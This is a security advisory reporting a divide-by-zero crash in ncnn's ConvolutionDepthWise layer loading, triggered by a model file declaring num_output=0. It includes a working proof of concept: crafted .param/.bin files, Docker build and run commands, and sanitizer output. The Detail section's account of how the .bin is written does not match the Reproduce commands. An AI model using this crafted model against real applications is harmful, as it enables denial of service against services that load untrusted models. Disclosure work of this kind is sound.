Divide-By-Zero in ConvolutionDepthWise Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolutiondepthwise_x86.cpp:61 in ConvolutionDepthWise_x86::create_pipeline
Sanitizer verdict: FPE on unknown address 0x575cecf34ff7 (pc 0x575cecf34ff7 bp 0x7ffc6189f3c0 sp 0x7ffc6189f100 T0)

Summary

A crafted .param/.bin pair that declares a ConvolutionDepthWise layer with num_output=0 terminates ncnnoptimize — or any application calling ncnn::Net::load_model() — with SIGFPE while the model is still being loaded. ConvolutionDepthWise::load_param accepts a zero output count because its only sanity check is num_output % group != 0, which 0 % 1 satisfies. The x86 pipeline builder then divides the weight count by (num_output / group), i.e. by zero, and the process dies before any optimized model is produced.

Detail

The untrusted fields are the ConvolutionDepthWise parameter keys 0 (num_output), 6 (weight_data_size) and 7 (group), all read verbatim from the attacker's text .param file. ParamDict::get(0, 0) only substitutes the default when the key is absent, so an explicit 0=0 is kept. The single validation in load_param compares num_output % group, which cannot catch a zero numerator. load_model then succeeds because the layer only requires weight_data_size floats to be present in the .bin, and Net::load_model proceeds to call each layer's create_pipeline() (src/net.cpp:2094).

// src/layer/convolutiondepthwise.cpp:20
    num_output = pd.get(0, 0);
    kernel_w = pd.get(1, 0);
    kernel_h = pd.get(11, kernel_w);

// src/layer/convolutiondepthwise.cpp:46
    if (num_output % group != 0)
    {
        // reject invalid group
        return -100;
    }

// src/layer/x86/convolutiondepthwise_x86.cpp:60
    const int maxk = kernel_w * kernel_h;
    int channels = (weight_data_size / group) / maxk / (num_output / group) * group;

With the PoC values num_output=0, kernel_w=kernel_h=3, group=1 and weight_data_size=9, line 61 evaluates as (9 / 1) / 9 / (0 / 1) * 1. The three divisions are integer operations on int, so (num_output / group) is 0 and 1 / 0 executes an idiv with a zero divisor, raising #DE and delivering SIGFPE. No weight content matters — the .bin only has to supply the nine float32 values that load_model reads, which is why the PoC writes a raw-float tag followed by struct.pack("<9f", ...).

The same expression is emitted into every ISA-specialised copy of convolutiondepthwise_x86.cpp that the build system generates, so the crash reproduces on whichever variant the runtime CPU dispatch selects; the captured trace shows the AVX-512 copy. Because the fault happens inside Net::load_model, a caller has no opportunity to reject the layer first — merely loading the attacker's model is enough to kill the process.

Reproduce

mkdir -p ncnn-poc-divide-by-zero-in-convolutiondepthwise-loading && cd ncnn-poc-divide-by-zero-in-convolutiondepthwise-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 2
ConvolutionDepthWise dw 1 1 data out 0=0 1=3 11=3 6=9 7=1
EOF

head -c 40 /dev/zero > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name data failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x6292e2e60ff7 (pc 0x6292e2e60ff7 bp 0x7ffddd91e460 sp 0x7ffddd91e1a0 T0)
    #0 0x6292e2e60ff7 in ncnn::ConvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:61
    #1 0x6292dde78c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #2 0x6292dde7990a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #3 0x6292dde79c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #4 0x6292ddd8ccaf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #5 0x7e3cc93631c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7e3cc936328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x6292ddd0c624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:61 in ncnn::ConvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst